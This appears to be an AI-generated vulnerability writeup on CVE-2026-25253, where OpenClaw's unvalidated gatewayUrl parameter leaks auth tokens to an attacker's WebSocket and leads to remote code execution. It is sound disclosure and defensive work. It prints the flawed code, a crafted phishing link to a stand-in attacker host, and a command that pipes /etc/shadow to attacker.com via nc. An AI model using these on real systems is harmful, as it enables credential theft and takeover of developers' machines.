CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-25253

OpenClaw, Open Door: The 1-Click RCE That Stole Your AI's Brain

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 3, 2026·6 min read·1031 visits

Executive Summary (TL;DR)

OpenClaw trusted the 'gatewayUrl' query parameter without validation. Attackers can craft a link that, when clicked by a logged-in user, forces their browser to send their authentication token to a malicious WebSocket server. This token grants full control over the AI agent, leading to immediate RCE.

A critical logic flaw in OpenClaw (formerly Moltbot) allows attackers to perform a one-click Remote Code Execution (RCE) attack. By manipulating a simple URL parameter, an attacker can force the OpenClaw frontend to initiate a WebSocket connection to a malicious server and—in a stroke of helpful stupidity—immediately hand over the user's authentication token. This allows the attacker to impersonate the user, hijacking the AI agent to execute arbitrary commands on the host machine.

The Hook: Giving Robots Knives

We are living in the golden age of AI Agents. We build tools like OpenClaw (formerly Moltbot) to automate our drudgery. We give them access to our file systems, our Docker sockets, and our cloud credentials so they can "help" us write code and deploy infrastructure. Essentially, we are installing a high-privileged remote access trojan (RAT) on our own machines and calling it productivity.

But here is the catch: when you install a tool designed to execute commands and modify systems, the authentication mechanism protecting that tool becomes the single point of failure between a happy developer experience and a total compromise. OpenClaw is a web-based interface controlling a local agent. It needs to talk to that agent via WebSockets.

CVE-2026-25253 is the story of what happens when that communication channel is too trusting. It is a reminder that while we worry about AGI taking over the world, we should probably worry more about a 10-line JavaScript bug that lets a script kiddie take over our laptops via a single link.

The Flaw: A fatal Lack of Cynicism

The vulnerability lies in the OpenClaw Control UI, the frontend interface where users chat with their AI minion. To make the tool flexible, the developers allowed the frontend to connect to different backend gateways. They implemented this via a URL query parameter named gatewayUrl.

The logic was simple: check the URL for ?gatewayUrl=... and connect the WebSocket there. The problem? Zero validation.

This is a classic "Confused Deputy" problem combined with a lack of sphere isolation (CWE-669). The application assumes that because the user is visiting the trusted dashboard, the parameters in the URL are also trusted. It fails to realize that the URL is actually attacker-controlled input. If I send you a link to your own dashboard but append my server as the gateway, the application dutifully obeys.

But connecting to a malicious server isn't inherently fatal—browsers connect to strangers all the time. The fatality comes from what happens immediately after the handshake.

The Code: The Smoking Gun

Let's look at the JavaScript that caused the meltdown. It is almost tragic in its simplicity. The frontend code grabs the parameter and immediately opens a socket:

// 1. Trust the input blindly
const urlParams = new URLSearchParams(window.location.search);
const gatewayUrl = urlParams.get('gatewayUrl');
 
// 2. Open the door
const socket = new WebSocket(gatewayUrl);

At this point, the victim's browser has opened a WebSocket connection to wss://attacker.io. But here is the coup de grâce. The application tries to authenticate itself to this new "gateway" to prove it has permission to execute commands. It does this by pulling the ultra-sensitive JWT/token from local storage and hurling it into the void:

// 3. Hand over the keys to the castle
socket.onopen = () => {
  socket.send(JSON.stringify({
    type: 'auth',
    token: localStorage.getItem('token') // <--- GAME OVER
  }));
};

There is no check to see if gatewayUrl matches the origin. There is no whitelist. There is no "Are you sure you want to connect to evil.com?" prompt. The code just assumes that if the URL is there, it must be right. It creates a direct pipeline effectively piping localStorage.token > attacker.

The Exploit: One Click to Shell

Exploiting this requires no complex memory corruption or race conditions. It is a pure logic attack. Here is how a threat actor weaponizes this against a developer using OpenClaw.

Phase 1: The Trap The attacker sets up a simple WebSocket server listening on the internet. Its only job is to log incoming messages. The attacker then crafts a URL. If the victim's OpenClaw dashboard is hosted at http://localhost:3000 (or a public domain for hosted versions), the malicious link looks like this:

http://localhost:3000/control?gatewayUrl=wss://evil-hacker.com/drain

Phase 2: The Lure The attacker sends this link to the victim via a Phishing email, a Discord DM, or embeds it in a hidden iframe on a malicious website ("Click here to update your drivers!").

Phase 3: The Heist When the victim clicks the link:

  1. The legitimate OpenClaw UI loads.
  2. It reads wss://evil-hacker.com/drain from the query string.
  3. It connects to the attacker's server.
  4. It immediately sends: {"type": "auth", "token": "eyJhbGciOi..."}.

Phase 4: RCE The attacker now has the token. They disconnect the victim and connect to the real OpenClaw gateway using the stolen token. Since OpenClaw allows the user to run shell commands (that's its job!), the attacker simply sends:

{"command": "exec", "payload": "cat /etc/shadow | nc attacker.com 1337"}

The Impact: Why Panic?

Why is this an 8.8 High severity? Because of the target demographic. OpenClaw isn't used by random web surfers; it is used by developers, DevOps engineers, and sysadmins.

When you compromise an OpenClaw instance, you aren't just getting a shell on a random container. You are likely getting a shell on a machine with:

  • SSH keys to production servers.
  • AWS/GCP/Azure credentials in ~/.aws/credentials.
  • Source code for proprietary software.
  • Signing keys.

The impact is absolute. Confidentiality, Integrity, and Availability are all effectively surrendered to the attacker the moment that token hits the wire. The fact that this requires user interaction (1-click) is the only thing keeping it from being a 10.0.

The Fix: Trust No One

The remediation in version 2026.1.29 introduces the cynicism the code originally lacked. The fix involves two main layers of defense:

  1. Origin Validation: The application now checks if the gatewayUrl matches the origin of the UI. If you are on localhost:3000, the websocket better be on localhost:3000 too.
  2. Explicit Consent: If a non-standard gateway is requested, the automatic connection is halted. The user is presented with a modal: "This application is attempting to connect to an external gateway. Do you trust wss://evil.com?".

For users unable to patch immediately (though you really should), the only workaround is network segmentation—ensure your OpenClaw dashboard is not accessible from the wider internet and be extremely paranoid about clicking links that look like your own local tools.

Official Patches

GitHubOfficial Advisory

Technical Appendix

CVSS Score
8.8/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
EPSS Probability
0.04%
Top 89% most exploited

Affected Systems

OpenClaw AgentMoltbot (Legacy Name)ClawdBot (Legacy Name)

Affected Versions Detail

Product
Affected Versions
Fixed Version
OpenClaw
OpenClaw
< 2026.1.292026.1.29
AttributeDetail
CWE IDCWE-669 (Incorrect Resource Transfer Between Spheres)
Attack VectorNetwork (Web)
CVSS Score8.8 (High)
ImpactRemote Code Execution (RCE)
PrerequisitesUser Interaction (1-Click)
Exploit StatusPoC Available

MITRE ATT&CK Mapping

T1566.002Phishing: Spearphishing Link
Initial Access
T1555.003Credentials from Web Browsers
Credential Access
T1059.003Command and Scripting Interpreter: Windows Command Shell
Execution
CWE-669
Incorrect Resource Transfer Between Spheres

The product does not properly check the destination of a resource transfer, allowing the resource to be transferred to an actor in a different, untrusted sphere.

Known Exploits & Detection

Ethiack ResearchOriginal research detailing the WebSocket token leak.
DepthFirstTechnical teardown and PoC steps.

Vulnerability Timeline

Vulnerability Disclosed & Patched
2026-01-29
Published to NVD
2026-02-01
GHSA Advisory Published
2026-02-01

References & Sources

  • [1]GHSA-g8p2-7wf7-98mq
  • [2]Ethiack: One-Click RCE in Moltbot

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 5 hours ago•GHSA-JQ7H-WRVP-3RGX
7.5

GHSA-JQ7H-WRVP-3RGX: Insufficient Session Invalidation in pyLoad Core REST API

An insufficient session invalidation vulnerability exists in pyLoad (pyload-ng) versions 0.5.0b3.dev98 through 0.5.0b3.dev101. When administrative actions like privilege revocation or password changes are executed via the public REST API, active user sessions on disk are not updated or invalidated. Consequently, affected sessions remain fully authenticated with stale permissions for up to 31 days.

Amit Schendel
Amit Schendel
8 views•4 min read
•about 6 hours ago•GHSA-9Q47-3CM2-2RP8
6.5

GHSA-9Q47-3CM2-2RP8: Rate-Limit Bypass and Audit Log Spoofing in pyLoad WebUI

A critical security vulnerability has been identified and patched in the WebUI component of pyLoad, a popular Python-based open-source download manager. This vulnerability allows attackers to completely bypass API rate limits and spoof client IP addresses in audit logs due to unsafe parsing of the X-Forwarded-For HTTP header.

Amit Schendel
Amit Schendel
7 views•6 min read
•about 7 hours ago•GHSA-68W4-83FH-F2W8
8.8

GHSA-68W4-83FH-F2W8: Privilege Escalation and Administrative Password Oracle in pyLoad-ng

An authorization bypass and credential oracle vulnerability in pyload-ng allows authenticated users with minimal or no privileges to brute-force the administrator password. This is achieved through sensitive API methods exposed globally combined with a non-constant-time password hash comparison algorithm.

Alon Barad
Alon Barad
8 views•7 min read
•about 8 hours ago•GHSA-R44W-V6GF-X3P6
8.1

Authentication Bypass in pyLoad API Key Caching Mechanism (GHSA-R44W-V6GF-X3P6)

An authentication bypass vulnerability in pyLoad allows unauthenticated remote attackers to gain administrative API access. The vulnerability is caused by a logical flaw in the API key cache validation lookup, where authentication states are cached using only the public key identifier, skipping cryptographic token verification on cache hits.

Alon Barad
Alon Barad
10 views•7 min read
•about 9 hours ago•CVE-2026-107728
7.5

CVE-2026-107728: Authorization Bypass in Strawberry GraphQL Permission Validation

An authorization bypass vulnerability in Strawberry GraphQL between versions 0.217.0 and 0.326.1 occurs when a synchronous permission handler returns an awaitable object (such as an unawaited coroutine). Due to Python's truthiness rules, the unawaited coroutine is evaluated as True, leading to an immediate bypass of security policies.

Amit Schendel
Amit Schendel
9 views•5 min read
•about 10 hours ago•CVE-2026-107727
3.7

CVE-2026-107727: Connection-Level Denial of Service via State Leak in Strawberry GraphQL Legacy WS Handler

An uncontrolled resource consumption vulnerability in Strawberry GraphQL allows unauthenticated remote attackers to trigger a Denial of Service on persistent WebSocket connections using the legacy graphql-ws protocol. When the server enforces max_subscriptions_per_connection, naturally terminating subscriptions are not cleared from memory registries, leading to exhaustion of connection slots.

Alon Barad
Alon Barad
12 views•6 min read